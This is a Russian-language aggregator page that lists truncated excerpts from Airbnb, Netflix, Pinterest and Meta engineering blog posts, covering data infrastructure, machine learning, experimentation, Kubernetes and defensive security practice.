Data Engineering
про инжиниринг данных и аналитику
🏢 %company% Engineering
AirBnb Engineering
последний пост 9 часов назад
Upgrading Data Warehouse Infrastructure at Airbnb
Upgrading Data Warehouse Infrastructure at Airbnb Upgrading Data Warehouse Infrastructure at Airbnb

This blog aims to introduce Airbnb’s experience upgrading Data Warehouse infrastructure to Spark and Iceberg.By: Ronnie Zhu, Edgar Rodriguez, Jason Xu, Gustavo Torres, Kerim Oktay, Xu ZhangIntroductionIn this blog, we will introduce our motivations for upgrading our Data Warehouse Infrastructure to Spark 3 and Iceberg. We will briefly describe the current state of Airbnb data warehouse infrastructure and the challenges. We will then share our learnings from upgrading one critical production workload: event data ingestion. Finally, we will share the results and the lessons learned.ContextAirbnb’s Data Warehouse (DW) storage was previously migrated from legacy HDFS clusters to S3 to provide b…

9 часов назад @ medium.com
How Airbnb safeguards changes in production
How Airbnb safeguards changes in production How Airbnb safeguards changes in production

Part II: Near Real-time ExperimentsBy: Mike Lin, Preeti Ramasamy, Toby Mao, Zack Loebel-BegelmanIn our first post we discussed the need for a near real time Safe Deploy system and some of the statistics that power its decisions. In this post we will cover the architecture and engineering choices behind the various components that Safe Deploys comprises.Designing a near real-time experimentation system required making explicit tradeoffs among speed, precision, cost, and resiliency. An early decision was to limit near real-time results to only the first 24 hours of an experiment — enough time to catch any major issues and transition to using comprehensive results from the batch pipeline. The …

2 недели, 6 дней назад @ medium.com
My Journey to Airbnb — Veerabahu Chandran
My Journey to Airbnb — Veerabahu Chandran My Journey to Airbnb — Veerabahu Chandran

My Journey to Airbnb — Veerabahu ChandranLearning and growing in Airbnb’s new Bangalore Tech CenterVeera Chandran is an engineer in Airbnb’s new Bangalore Tech Center, where his team builds out technical systems to support hosts. As a lifelong learner, he has a passion for exploring new technologies and diving into practical problems. He’s excited to be tackling both the technical challenges of building new architecture and the organizational challenges of building out the capabilities of a new office.Here’s Veera’s story:Learning and exploringI grew up in Tamil Nadu, in the South of India. I was always a curious kid, trying to understand how everything worked, so when it came to choosing a…

1 месяц, 1 неделя назад @ medium.com
Sisyphus and the CVE Feed: Vulnerability Management at Scale
Sisyphus and the CVE Feed: Vulnerability Management at Scale Sisyphus and the CVE Feed: Vulnerability Management at Scale

AuthorsKeziah Perez Sonder Plattner, Senior Software EngineerKadia Mashal, Engineering ManagerIntroductionEvery engineer knows that security is a never-ending problem. Until we delete all our code and move into a cottage in the woods, we have to accept that there is no such thing as 100% secure software. You could be doing everything perfectly, and a publicly known vulnerability (CVE) could emerge for the most updated version of a third party library in your infrastructure. Things are secure until they are not. Like with Sisyphus, the boulder will never reach the top of the hill.Rather than eliminating vulnerabilities, the goal of a vulnerability management program should be to quickly and …

1 месяц, 2 недели назад @ medium.com
Airbnb’s Approach to Access Management at Scale
Airbnb’s Approach to Access Management at Scale Airbnb’s Approach to Access Management at Scale

How Airbnb securely manages permissions for our large team of employees, contractors, and call center staff.By: Paul BramsenIntroductionAirbnb is a company that is built on trust. An important piece of this trust comes from protecting the data that our guests and hosts have shared with us. One of the ways we do this is by following the principle of least privilege. Least privilege dictates that–in an ideal world–an employee has the exact permissions they need at the moment their job requires them. Nothing more, nothing less. Anything more introduces unnecessary risk–whether from a malicious employee, compromised laptop, or even just an honest mistake. Anything less inhibits productivity.Not…

1 месяц, 2 недели назад @ medium.com
Incident Management
Incident Management Incident Management

Automated Incident Management Through SlackHow Airbnb automates incident management in a world of complex, rapidly evolving ensemble of microservices.Vlad VassilioukIncident ManagementIncidents are unforeseeable events that disrupt normal business operations and are inevitable in complex systems that must be up and running 24/7. This is why it’s important to prepare and to train people to handle incidents in a timely and organized manner. Although each incident is unique, we follow the same procedure for detection, escalation, management, and resolution of incidents.At Airbnb, we utilize a service oriented infrastructure which involves many interconnected services managed by small teams. Qu…

2 месяца назад @ medium.com
My Journey to Airbnb — Beti Gathegi
My Journey to Airbnb — Beti Gathegi My Journey to Airbnb — Beti Gathegi

My Journey to Airbnb — Beti GathegiFrom exploring careers across continents to now helping others find their place at Airbnb.After trying a series of careers ranging from television production to university communications and marketing, Beti Gathegi works as a Senior Program Manager on the TechED (technical education) team at Airbnb. When she’s not lurking in the #bookworms Airbnb Slack channel, you can find Beti leading Bootcamp, our onboarding program for new technical hires, which takes engineers and data scientists through their first commit at Airbnb. Before this role, Beti was a recruiting program manager for Connect, Airbnb’s engineering apprenticeship program targeted at people from…

2 месяца, 1 неделя назад @ medium.com
How Airbnb Safeguards Changes in Production
How Airbnb Safeguards Changes in Production How Airbnb Safeguards Changes in Production

Part I: Evolution of Airbnb’s experimentation platformBy: Michael Lin, Toby Mao, Zack Loebel-BegelmanIntroductionAs Airbnb has grown to a company with over 1,200 developers, the number of platforms and channels for pushing changes to our product — and the number of daily changes we push into production — has also grown tremendously. In the face of this growth, we constantly need to scale our ability to detect errors before they reach production. However, errors inevitably slip past pre-production validation, so we also invest heavily in mechanisms to detect errors quickly when they do make it to production. In this blog post we will cover the motivations and foundations for a system for saf…

2 месяца, 2 недели назад @ medium.com
T-LEAF: Taxonomy Learning and EvaluAtion Framework
T-LEAF: Taxonomy Learning and EvaluAtion Framework T-LEAF: Taxonomy Learning and EvaluAtion Framework

How we applied qualitative learning, human labeling and machine learning to iteratively develop Airbnb’s Community Support Taxonomy.By: Mia Zhao, Peggy Shao, Maggie Hanson, Peng Wang, Bo ZengBackgroundTaxonomies are knowledge organization systems used to classify and organize information. Taxonomies use words to describe things — as opposed to numbers or symbols — and hierarchies to group things into categories. The structure of a taxonomy expresses how those things relate to each other. For instance, a Superhost is a type of Host and a Host is a type of Airbnb User. Taxonomies provide vital terminology control and enable downstream systems to navigate information and analyze consistent, st…

3 месяца назад @ medium.com
Airbnb’s Trip to Linaria
Airbnb’s Trip to Linaria Airbnb’s Trip to Linaria

Learn how Linaria, Airbnb’s newest choice for web styling, improved both developer experience and web performanceCSS is a critical component of every web application, and many solutions have evolved for how styles are written by developers and delivered to visitors. In this post we’ll take you through Airbnb’s journey from Sass to CSS-in-JS and show you why we landed on Linaria, a zero-runtime CSS-in-JS library, and the impact it has had on the developer experience and performance of Airbnb’s web app.From Sass to CSS-in-JSIn 2016, our web frontend was in a monolithic Ruby on Rails app using a combination of Sprockets, Browserify, and Sass. We had a Bootstrap-inspired internal toolkit for st…

3 месяца, 1 неделя назад @ medium.com
Graph Machine Learning at Airbnb
Graph Machine Learning at Airbnb Graph Machine Learning at Airbnb

How Airbnb is leveraging graph neural networks to up-level our machine learningBy: Devin SoniIntroductionMany real-world machine learning problems can be framed as graph problems. On online platforms, users often share assets (e.g. photos) and interact with each other (e.g. messages, bookings, reviews). These connections between users naturally form edges that can be used to create a graph.However, in many cases, machine learning practitioners do not leverage these connections when building machine learning models, and instead treat nodes (in this case, users) as completely independent entities. While this does simplify things, leaving out information around a node’s connections may reduce …

3 месяца, 2 недели назад @ medium.com
Unified Payments Data Read at Airbnb
Unified Payments Data Read at Airbnb Unified Payments Data Read at Airbnb

How we redesigned payments data read flow to optimize client integrations, while achieving up to 150x performance gains.By: Ali Goksel, Yixia MaoIntroductionIn recent years, Airbnb migrated most of its backend services from a monolith to a service-oriented architecture (SOA). This industry standard architecture brings countless benefits to a company that is at the scale of Airbnb; however, it is not free of challenges. With data scattered across many services, it’s difficult to provide all the information clients need in a simple and performant way, especially for complex domains such as payments. As Airbnb grew, this problem started to crop up for many new initiatives such as host earnings…

3 месяца, 2 недели назад @ medium.com
Faster JavaScript Builds with Metro
Faster JavaScript Builds with Metro Faster JavaScript Builds with Metro

How Airbnb migrated from Webpack to Metro and made the development feedback loop nearly instantaneous, the largest production build 50% faster, with marginal end-user runtime improvements.By: Rae LiuIntroductionIn 2018, the frontend Airbnb infrastructure relied on Webpack for JavaScript bundling which had served us well up until then; however, with our codebase almost having quadrupled in the previous year, the frontend team was noticing a significant impact on the development experience. Not only was build performance slow, but the average page refresh time for a trivial one-line code change was anywhere between 30 seconds and 2 minutes depending on the project size. In order to mitigate t…

4 месяца назад @ medium.com
Dynamic Kubernetes Cluster Scaling at Airbnb
Dynamic Kubernetes Cluster Scaling at Airbnb Dynamic Kubernetes Cluster Scaling at Airbnb

Authors: Evan Sheng, David MorrisonIntroductionAn important part of running Airbnb’s infrastructure is ensuring our cloud spending automatically scales with demand, both up and down. Our traffic fluctuates heavily every day, and our cloud footprint should scale dynamically to support this.To support this scaling, Airbnb utilizes Kubernetes, an open source container orchestration system. We also utilize OneTouch, a service configuration interface built on top of Kubernetes, and is described in more detail in a previous post.In this post, we’ll talk about how we dynamically size our clusters using the Kubernetes Cluster Autoscaler, and highlight functionality we’ve contributed to the sig-auto…

4 месяца назад @ medium.com
My Journey to Airbnb — Kamini Dandapani
My Journey to Airbnb — Kamini Dandapani My Journey to Airbnb — Kamini Dandapani

My Journey to Airbnb — Kamini DandapaniAirbnb’s VP of Engineering on why you don’t have to change your natural self to be a leaderKamini Dandapani, VP of Engineering at Airbnb, leads the Infrastructure Engineering organization, which is in many ways the backbone of the company: responsible for powering the systems that keep Airbnb running smoothly and help new products reach millions of people. With a passion for how platforms can support and sustain the business and product, Kamini developed her considerate and welcoming leadership style at eBay and LinkedIn before joining Airbnb two years ago. In addition to her Infra role, she champions diversity and belonging in the workplace and is co-…

4 месяца, 2 недели назад @ medium.com
Netflix Engineering Netflix Engineering
последний пост 1 месяц назад
Reinforcement Learning for Budget Constrained Recommendations
Reinforcement Learning for Budget Constrained Recommendations Reinforcement Learning for Budget Constrained Recommendations

by Ehtsham Elahiwith James McInerney, Nathan Kallus, Dario Garcia Garcia and Justin BasilicoIntroductionThis writeup is about using reinforcement learning to construct an optimal list of recommendations when the user has a finite time budget to make a decision from the list of recommendations. Working within the time budget introduces an extra resource constraint for the recommender system. It is similar to many other decision problems (for e.g. in economics and operations research) where the entity making the decision has to find tradeoffs in the face of finite resources and multiple (possibly conflicting) objectives. Although time is the most important and finite resource, we think that i…

1 месяц назад @ netflixtechblog.com
Virtual Production — A Validation Framework For Unreal Engine
Virtual Production — A Validation Framework For Unreal Engine Virtual Production — A Validation Framework For Unreal Engine

Virtual Production — A Validation Framework For Unreal EngineBy Adam Davis, Jimmy Fusil, Bhanu Srikanth and Girish BalakrishnanGame Engines in Virtual ProductionThe use of Virtual Production and real time technologies has markedly accelerated in the past few years. At Netflix, we are always thrilled to see technology enable new ways of telling stories, and the use of these techniques on some of our shows like 1899 and Super Giant Robot Brothers has given us a front row seat to this exciting evolution in filmmaking. Each production that deploys these methods is an opportunity for the crew, tech manufacturers and us–the Netflix Production Innovation team–to learn, innovate and collaborate tow…

1 месяц, 2 недели назад @ netflixtechblog.com
Data Mesh — A Data Movement and Processing Platform @ Netflix
Data Mesh — A Data Movement and Processing Platform @ Netflix Data Mesh — A Data Movement and Processing Platform @ Netflix

Data Mesh — A Data Movement and Processing Platform @ NetflixBy Bo Lei, Guilherme Pires, James Shao, Kasturi Chatterjee, Sujay Jain, Vlad SydorenkoBackgroundRealtime processing technologies (A.K.A stream processing) is one of the key factors that enable Netflix to maintain its leading position in the competition of entertaining our users. Our previous generation of streaming pipeline solution Keystone has a proven track record of serving multiple of our key business needs. However, as we expand our offerings and try out new ideas, there’s a growing need to unlock other emerging use cases that were not yet covered by Keystone. After evaluating the options, the team has decided to create Data…

1 месяц, 3 недели назад @ netflixtechblog.com
Formulating ‘Out of Memory Kill’ Prediction on the Netflix App as a Machine Learning Problem
Formulating ‘Out of Memory Kill’ Prediction on the Netflix App as a Machine Learning Problem Formulating ‘Out of Memory Kill’ Prediction on the Netflix App as a Machine Learning Problem

by Aryan Mehrawith Farnaz Karimdady Sharifabad, Prasanna Vijayanathan, Chaïna Wade, Vishal Sharma and Mike SchassbergerAim and Purpose — Problem StatementThe purpose of this article is to give insights into analyzing and predicting “out of memory” or OOM kills on the Netflix App. Unlike strong compute devices, TVs and set top boxes usually have stronger memory constraints. More importantly, the low resource availability or “out of memory” scenario is one of the common reasons for crashes/kills. We at Netflix, as a streaming service running on millions of devices, have a tremendous amount of data about device capabilities/characteristics and runtime data in our big data platform. With large …

2 месяца, 1 неделя назад @ netflixtechblog.com
How Netflix Content Engineering makes a federated graph searchable (Part 2)
How Netflix Content Engineering makes a federated graph searchable (Part 2) How Netflix Content Engineering makes a federated graph searchable (Part 2)

By Alex Hutter, Falguni Jhaveri, and Senthil SayeebabaIn a previous post, we described the indexing architecture of Studio Search and how we scaled the architecture by building a config-driven self-service platform that allowed teams in Content Engineering to spin up search indices easily.This post will discuss how Studio Search supports querying the data available in these indices.Data consumption from Studio Search DGSIntroductionWhen we say Content Engineering teams are interested in searching against the federated graph, the use-case is mainly focused on known-item search (a user has an item or items in mind they are trying to view or navigate to but need to use an external information …

3 месяца, 1 неделя назад @ netflixtechblog.com
Scaling Appsec at Netflix (Part 2)
Scaling Appsec at Netflix (Part 2) Scaling Appsec at Netflix (Part 2)

By Astha Singhal, Lakshmi Sudheer, Julia KnechtThe Application Security teams at Netflix are responsible for securing the software footprint that we create to run the Netflix product, the Netflix studio, and the business. Our customers are product and engineering teams at Netflix that build these software services and platforms. The Netflix cultural values of ‘Context not Control’ and ‘Freedom and Responsibility’ strongly influence how we do Security at Netflix. Our goal is to manage security risks to Netflix via clear, opinionated security guidance, and by providing risk context to Netflix engineering teams to make pragmatic risk decisions at scale.A few years ago, we published this blog p…

3 месяца, 3 недели назад @ netflixtechblog.com
A Survey of Causal Inference Applications at Netflix
A Survey of Causal Inference Applications at Netflix A Survey of Causal Inference Applications at Netflix

At Netflix, we want to entertain the world through creating engaging content and helping members discover the titles they will love. Key to that is understanding causal effects that connect changes we make in the product to indicators of member joy.To measure causal effects we rely heavily on AB testing, but we also leverage quasi-experimentation in cases where AB testing is limited. Many scientists across Netflix have contributed to the way that Netflix analyzes these causal effects.To celebrate that impact and learn from each other, Netflix scientists recently came together for an internal Causal Inference and Experimentation Summit. The weeklong conference brought speakers from across th…

4 месяца, 1 неделя назад @ netflixtechblog.com
Evolution of ML Fact Store
Evolution of ML Fact Store Evolution of ML Fact Store

by Vivek KaushalAt Netflix, we aim to provide recommendations that match our members’ interests. To achieve this, we rely on Machine Learning (ML) algorithms. ML algorithms can be only as good as the data that we provide to it. This post will focus on the large volume of high-quality data stored in Axion — our fact store that is leveraged to compute ML features offline. We built Axion primarily to remove any training-serving skew and make offline experimentation faster. We will share how its design has evolved over the years and the lessons learned while building it.TerminologyAxion fact store is part of our Machine Learning Platform, the platform that serves machine learning needs across N…

5 месяцев назад @ netflixtechblog.com
How Netflix Content Engineering makes a federated graph searchable
How Netflix Content Engineering makes a federated graph searchable How Netflix Content Engineering makes a federated graph searchable

By Alex Hutter, Falguni Jhaveri and Senthil SayeebabaOver the past few years Content Engineering at Netflix has been transitioning many of its services to use a federated GraphQL platform. GraphQL federation enables domain teams to independently build and operate their own Domain Graph Services (DGS) and, at the same time, connect their domain with other domains in a unified GraphQL schema exposed by a federated gateway.As an example, let’s examine three core entities of the graph, each owned by separate engineering teams:Movie: At Netflix, we make titles (shows, films, shorts etc.). For simplicity, let’s assume each title is a Movie object.Production: Each Movie is associated with a Studio…

5 месяцев, 2 недели назад @ netflixtechblog.com
Rapid Event Notification System at Netflix
Rapid Event Notification System at Netflix Rapid Event Notification System at Netflix

By: Ankush Gulati, David GevorkyanAdditional credits: Michael Clark, Gokhan OzerIntroNetflix has more than 220 million active members who perform a variety of actions throughout each session, ranging from renaming a profile to watching a title. Reacting to these actions in near real-time to keep the experience consistent across devices is critical for ensuring an optimal member experience. This is not an easy task, considering the wide variety of supported devices and the sheer volume of actions our members perform. To this end, we developed a Rapid Event Notification System (RENO) to support use cases that require server initiated communication with devices in a scalable and extensible man…

7 месяцев, 1 неделя назад @ netflixtechblog.com
Data pipeline asset management with Dataflow
Data pipeline asset management with Dataflow Data pipeline asset management with Dataflow

by Sam Setegne, Jai Balani, Olek GorajekGlossaryasset — any business logic code in a raw (e.g. SQL) or compiled (e.g. JAR) form to be executed as part of the user defined data pipeline.data pipeline — a set of tasks (or jobs) to be executed in a predefined order (a.k.a. DAG) for the purpose of transforming data using some business logic.Dataflow — Netflix homegrown CLI tool for data pipeline management.job — a.k.a task, an atomic unit of data transformation logic, a non-separable execution block in the workflow chain.namespace — unique label, usually representing a business subject area, assigned to a workflow asset to identify it across all other assets managed by Dataflow (e.g. security).…

7 месяцев, 2 недели назад @ netflixtechblog.com
Demystifying Interviewing for Backend Engineers @ Netflix
Demystifying Interviewing for Backend Engineers @ Netflix Demystifying Interviewing for Backend Engineers @ Netflix

By Karen Casella, Director of Engineering, Access & Identity ManagementHave you ever experienced one of the following scenarios while looking for your next role?You study and practice coding interview problems for hours/days/weeks/months, only to be asked to merge two sorted lists.You apply for multiple roles at the same company and proceed through the interview process with each hiring team separately, despite the fact that there is tremendous overlap in the roles.You go through the interview process, do really well, get really excited about the company and the people you meet, and in the end, you are “matched” to a role that does not excite you, working with a manager and team you have no…

7 месяцев, 3 недели назад @ netflixtechblog.com
Netflix: A Culture of Learning
Netflix: A Culture of Learning Netflix: A Culture of Learning

Martin Tingley with Wenjing Zheng, Simon Ejdemyr, Stephanie Lane, Colin McFarland, Mihir Tendulkar, and Travis BrooksThis is the last post in an overview series on experimentation at Netflix. Need to catch up? Earlier posts covered the basics of A/B tests (Part 1 and Part 2 ), core statistical concepts (Part 3 and Part 4), how to build confidence in a decision (Part 5), and the the role of Experimentation and A/B testing within the larger Data Science and Engineering organization at Netflix (Part 6).Earlier posts in this series covered the why, what and how of A/B testing, all of which are necessary to reap the benefits of experimentation for product development. But without a little magic,…

8 месяцев назад @ netflixtechblog.com
Fixing Performance Regressions Before they Happen
Fixing Performance Regressions Before they Happen Fixing Performance Regressions Before they Happen

Angus CrollNetflix is used by 222 million members and runs on over 1700 device types ranging from state-of-the-art smart TVs to low-cost mobile devices.At Netflix we’re proud of our reliability and we want to keep it that way. To that end, it’s important that we prevent significant performance regressions from reaching the production app. Sluggish scrolling or late rendering is frustrating and triggers accidental navigations. Choppy playback makes watching a show less enjoyable. Any performance regression that makes it into a product release will degrade user experience, so the challenge is to detect and fix such regressions before they ship.This post describes how the Netflix TVUI team imp…

8 месяцев назад @ netflixtechblog.com
Auto-Diagnosis and Remediation in Netflix Data Platform
Auto-Diagnosis and Remediation in Netflix Data Platform Auto-Diagnosis and Remediation in Netflix Data Platform

By Vikram Srivastava and Marcelo MaywormNetflix has one of the most complex data platforms in the cloud on which our data scientists and engineers run batch and streaming workloads. As our subscribers grow worldwide and Netflix enters the world of gaming, the number of batch workflows and real-time data pipelines increases rapidly. The data platform is built on top of several distributed systems, and due to the inherent nature of these systems, it is inevitable that these workloads run into failures periodically. Troubleshooting these problems is not a trivial task and requires collecting logs and metrics from several different systems and analyzing them to identify the root cause. At our s…

8 месяцев, 2 недели назад @ netflixtechblog.com
Pinterest Engineering
последний пост 1 месяц, 1 неделя назад
Online Data Migration from HBase to TiDB with Zero Downtime
Online Data Migration from HBase to TiDB with Zero Downtime Online Data Migration from HBase to TiDB with Zero Downtime

Ankita Girish Wagh | Senior Software Engineer, Storage and CachingIntroduction and MotivationAt Pinterest, HBase is one of the most critical storage backends, powering many online storage services like Zen (graph database), UMS (wide column datastore), and Ixia (near real time secondary indexing service). The HBase Ecosystem, though having various advantages like strong consistency at row level in high volume requests, flexible schema, low latency access to data, Hadoop integration, etc. cannot serve the needs of our clients for the next 3–5 years. This is due to high operational cost, excessive complexity, and missing functionalities like secondary indexes, support for transactions, etc.Af…

1 месяц, 1 неделя назад @ medium.com
GPU-accelerated ML Inference at Pinterest
GPU-accelerated ML Inference at Pinterest GPU-accelerated ML Inference at Pinterest

Unlocking 16% Homefeed Engagement by Serving 100x Bigger Recommender ModelsPong Eksombatchai | Software Engineer, Advanced Technology Group; Zhiyuan Zhang | Engineering Manager, ML Serving PlatformsImage from https://unsplash.com/photos/vWgoeEYdtIYWe enabled serving 100x larger recommender models at Pinterest by transitioning our machine learning serving from CPU to GPU — increasing Homefeed Pinner engagement by 16% through a step function improvement in model quality. In this blog post, we’ll share our optimizations to achieve this at neutral cost and latency, including optimizing individual ops, consolidating memory transfers, executing static graphs on-device through CUDA Graphs, and ret…

1 месяц, 3 недели назад @ medium.com
Debugging Ad Delivery At Pinterest
Debugging Ad Delivery At Pinterest Debugging Ad Delivery At Pinterest

Nishant Roy | Engineering Manager, Ads Serving PlatformIntro & BackgroundThe Pinterest ads serving platform delivered >$2.5 billion in ad spend in 2021 from thousands of advertisers. Our customer operations team receives 600+ tickets on average every month from advertisers who are looking to understand their performance on our platform. One of the most common questions we receive is why a particular advertiser/ad campaign is not fully utilizing its budget. This question requires a deep analysis of an ad recommendation system consisting of 5+ microservices, 1M+ lines of code, and 100+ active developers, serving >90 million requests everyday. This blog describes how we built a system to swift…

3 месяца назад @ medium.com
Estimating Potential Audience Size of an Ad at Pinterest
Estimating Potential Audience Size of an Ad at Pinterest Estimating Potential Audience Size of an Ad at Pinterest

Chanheum (Sean) Cho | ML Engineer, Ads Intelligence; Ruixin Qiang |ML Engineer, Ads Intelligence; Keshava Subramanya |Engineering Manager, Ads IntelligenceIntroductionUnderstanding the size of the potential audience of an ad is an important consideration for an advertiser. It enables advertisers to estimate the total population who might be interested in the products or services they advertise and plan their budgets ahead of time. The Ads Intelligence team at Pinterest provides a service called Potential Audience Size in the Ads Manager, so the advertisers can understand their target audience size while they configure their ad groups. The service updates the estimate in real time as the aud…

3 месяца, 3 недели назад @ medium.com
Improving Distributed Caching Performance and Efficiency at Pinterest
Improving Distributed Caching Performance and Efficiency at Pinterest Improving Distributed Caching Performance and Efficiency at Pinterest

Kevin Lin | Software Engineer, Storage and CachingIntroductionPinterest’s distributed caching system, built on top of open source technologies memcached and mcrouter, is a critical component of the production infrastructure stack. Pinterest’s cache-as-a-service platform is responsible for driving down application latency across the board, reducing the overall cloud cost footprint, and ensuring adherence to strict sitewide availability targets.Today, Pinterest’s memcached fleet spans over 5000 EC2 instances across a variety of instance types optimized along compute, memory, and storage dimensions. Collectively, the fleet serves up to ~180 million requests per second and ~220 GB/s of network …

4 месяца, 2 недели назад @ medium.com
Manas HNSW Streaming Filters
Manas HNSW Streaming Filters Manas HNSW Streaming Filters

George Wu | Software Engineer, Core Product Serving Infra; Tim Koh | Software Engineer, Core Product Serving InfraIntroductionEmbedding-based retrieval is a core center piece of our recommendations engine at Pinterest. We support a myriad of use cases, from retrieval based on content similarity to learned retrieval. It’s powered by our in-house search engine — Manas — which provides Approximate Nearest Neighbor (ANN) search as a service, primarily using Hierarchical Navigable Small World graphs (HNSW).While traditional token-based search retrieves documents on term matching on a tree of terms with logical connectives like ANDs and ORs, ANN search retrieves based on embedding similarity. Oft…

4 месяца, 3 недели назад @ medium.com
NVIDIA 2022 Talk: Evolution of Web-Scale Engagement Modeling at Pinterest
NVIDIA 2022 Talk: Evolution of Web-Scale Engagement Modeling at Pinterest NVIDIA 2022 Talk: Evolution of Web-Scale Engagement Modeling at Pinterest

Prabhat Agarwal | Research ScientistWatch Prabhat Agarwal’s talk from the NVIDIA GTC Conference on March 23, 2022.https://medium.com/media/c160a4c48af4ff09c6ed83e10d26a5e8/hrefTo learn more about engineering at Pinterest, check out the rest of our Engineering Blog, and visit our Pinterest Labs site. To view and apply to open opportunities, visit our Careers page.NVIDIA 2022 Talk: Evolution of Web-Scale Engagement Modeling at Pinterest was originally published in Pinterest Engineering Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

5 месяцев, 2 недели назад @ medium.com
Presentamos PinFlex: el modelo de Pinterest para el futuro en el trabajo
Presentamos PinFlex: el modelo de Pinterest para el futuro en el trabajo Presentamos PinFlex: el modelo de Pinterest para el futuro en el trabajo

Jeremy King | Sr Vice Presidente, ingenieríaThis article was originally published in English. Read the English version here.Hace dos años, estaba terminando mi primer año en Pinterest como Vicepresidente Sénior. Nuestras oficinas cerraron y el trabajo y la vida, como los conocíamos, cambiaron de golpe. Al adaptarnos a los cambios drásticos a nuestro alrededor, aprendimos mucho sobre el trabajo y sobre lo que no era un lugar de trabajo. Los beneficios del trabajo flexible y nuestra capacidad de ser productivos desde cualquier lugar dieron muchas ventajas a nuestros empleos, ya que se eliminaron largos viajes al trabajo y pudimos estar mucho más presentes en los momentos importantes de nuestr…

5 месяцев, 2 недели назад @ medium.com
How Pinterest built its Trust & Safety team
How Pinterest built its Trust & Safety team How Pinterest built its Trust & Safety team

Maisy Samuelson | Head of Trust & Safety Product“Inch by inch, row by row, I’m gonna make this garden grow” — Garden Song by Peter, Paul & MarySince I started working on Trust & Safety four years ago, the team has grown quickly and learned a lot about how to protect Pinners from spam and account takeovers as well as unsafe content like nudity, self-harm, hate speech, and harassment.Back in 2017, the Trust & Safety team (like Pinterest itself) was small and spent a lot of time fighting attacks. During attacks we scrambled to figure out product nuances, where and how data was stored, wait for queries to run, write scripts to update production databases and fix issues in user accounts, all und…

5 месяцев, 3 недели назад @ medium.com
Introducing PinFlex: Pinterest’s model for the Future of Work
Introducing PinFlex: Pinterest’s model for the Future of Work Introducing PinFlex: Pinterest’s model for the Future of Work

Jeremy King | Senior Vice President, EngineeringTwo years ago, as I was closing in on my first annual “Pinniversary” as the Chief of Engineering at Pinterest, our offices closed, and work (read: life) as we knew it changed abruptly. As we all adapted to the drastic changes around us, we learned a lot about what was working and what wasn’t in the workplace. The benefits of working flexibly and our ability to be productive from anywhere empowered us to do our jobs well while eliminating long commutes and allowing us to be more present than ever before for important moments with family. We also realized the value of intentional in-person touchpoints with colleagues to build culture and drive c…

5 месяцев, 3 недели назад @ medium.com
Large Scale Hadoop Upgrade At Pinterest
Large Scale Hadoop Upgrade At Pinterest Large Scale Hadoop Upgrade At Pinterest

Yongjun Zhang | Software Engineer; William Tom | Software Engineer; Shaowen Wang | Software Engineer; Bhavin Pathak | Software Engineer; Batch Processing Platform TeamPinterest’s Batch Processing Platform, Monarch, consists of more than 30 Hadoop YARN clusters with 17k+ nodes built entirely on top of AWS EC2. At the beginning of 2021, Monarch was still on Hadoop 2.7.1, which was already five years old. Because of the increasing complexity in backporting upstream changes (features and bug fixes), we decided it was time to invest in a version upgrade. We settled on Hadoop 2.10.0, which was the latest release of Hadoop 2 at the time.This article shares our experience of upgrading Monarch to Ha…

6 месяцев назад @ medium.com
99% to 99.9% SLO: High Performance Kubernetes Control Plane at Pinterest
99% to 99.9% SLO: High Performance Kubernetes Control Plane at Pinterest 99% to 99.9% SLO: High Performance Kubernetes Control Plane at Pinterest

Shunyao Li | Software Engineer, Cloud RuntimeOver the past three years, the Cloud Runtime team’s journey has gone from “Why Kubernetes?” to “How to scale?”. There is no doubt that Kubernetes based compute platform has achieved huge success at Pinterest. We have been supporting big data processing, machine learning, distributed training, workflow engine, CI/CD, internal tools — backing up every engineer at Pinterest.Why Control Plane Latency MattersAs more and more business-critical workloads onboard Kubernetes, it is increasingly important to have a high-performance control plane that efficiently orchestrates every workload. Critical workloads such as content model training and ads reportin…

6 месяцев, 1 неделя назад @ medium.com
Unified PubSub Client at Pinterest
Unified PubSub Client at Pinterest Unified PubSub Client at Pinterest

Vahid Hashemian | Software Engineer, Logging PlatformJeff Xiang | Software Engineer, Logging PlatformAt Pinterest, the Logging Platform team manages the PubSub layer and provides support for clients that interact with it. At the heart of the PubSub layer, there are two main systems responsible for ingress and egress of data in motion:Apache Kafka® (Kafka hereafter)MemQOver the last several years, we have learnt through operational experience that our customers and business needs to have reduced KTLO costs, and they want the platform team to own not just the servers / service but also the client / SDK as well as the on-call associated with any issues that arise from client-server connectivit…

6 месяцев, 2 недели назад @ medium.com
Enviar previamente pruebas de IU en Pinterest
Enviar previamente pruebas de IU en Pinterest Enviar previamente pruebas de IU en Pinterest

Mansfield Mark | Líder de herramientas de prueba móviles, calidad de métricas y herramientas de pruebaThis article was originally published in English. Read the English version here.ResumenEn nuestros esfuerzos por cambiar a la izquierda (en los que las pruebas se hacen antes o se desplazan a la izquierda en la cronología del proyecto), en este blog se explica cómo empezamos a ejecutar un gran conjunto de pruebas de interfaz de usuario de extremo a extremo antes de cualquier asignación a nuestros repositorios de Android o iOS. Este proyecto involucró una cuidadosa coordinación de las pruebas de interfaz de usuario, la infraestructura de pruebas y la productividad del desarrollador.Después d…

6 месяцев, 2 недели назад @ medium.com
Addressing Python Dependency Confusion at Pinterest
Addressing Python Dependency Confusion at Pinterest Addressing Python Dependency Confusion at Pinterest

Bill Prin | Software Engineer, Engineering Productivity, Python; Devin Lundberg | Software Engineer , Security Lead; and Adam Berry | Software Engineer , Engineering ProductivitySoftware supply chain is an incredibly important security topic in today’s world. In May 2021, an American oil pipeline system fell victim to a cyberattack, and with the assistance of the FBI, paid over $4.4 million dollars in ransom to the attackers in order to recover their systems.As a result, US President Joe Biden was forced to declare a state of emergency, and on May 12 issued Executive Order 14028 increasing software security standards for software supply chains. According to VentureBeat, software supply chai…

6 месяцев, 2 недели назад @ medium.com
Facebook
последний пост 1 месяц, 2 недели назад
Scaling data ingestion for machine learning training at Meta
Scaling data ingestion for machine learning training at Meta

Many of Meta’s products, such as search and language translations, utilize AI models to continuously improve user experiences. As the performance of hardware we use to support training infrastructure increases, we need to scale our data ingestion infrastructure accordingly to handle workloads more efficiently. GPUs, which are used for training infrastructure, tend to double in [...]

Read More...

The post Scaling data ingestion for machine learning training at Meta appeared first on Engineering at Meta.

1 месяц, 2 недели назад @ engineering.fb.com
Applying federated learning to protect data on mobile devices
Applying federated learning to protect data on mobile devices

What the research is: Federated learning with differential privacy (FL-DP) is one of the latest privacy-enhancing technologies being evaluated at Meta as we constantly work to enhance user privacy and further safeguard users’ data in the products we design, build, and maintain. FL-DP enhances privacy in two important ways: It allows machine learning (ML) models [...]

Read More...

The post Applying federated learning to protect data on mobile devices appeared first on Engineering at Meta.

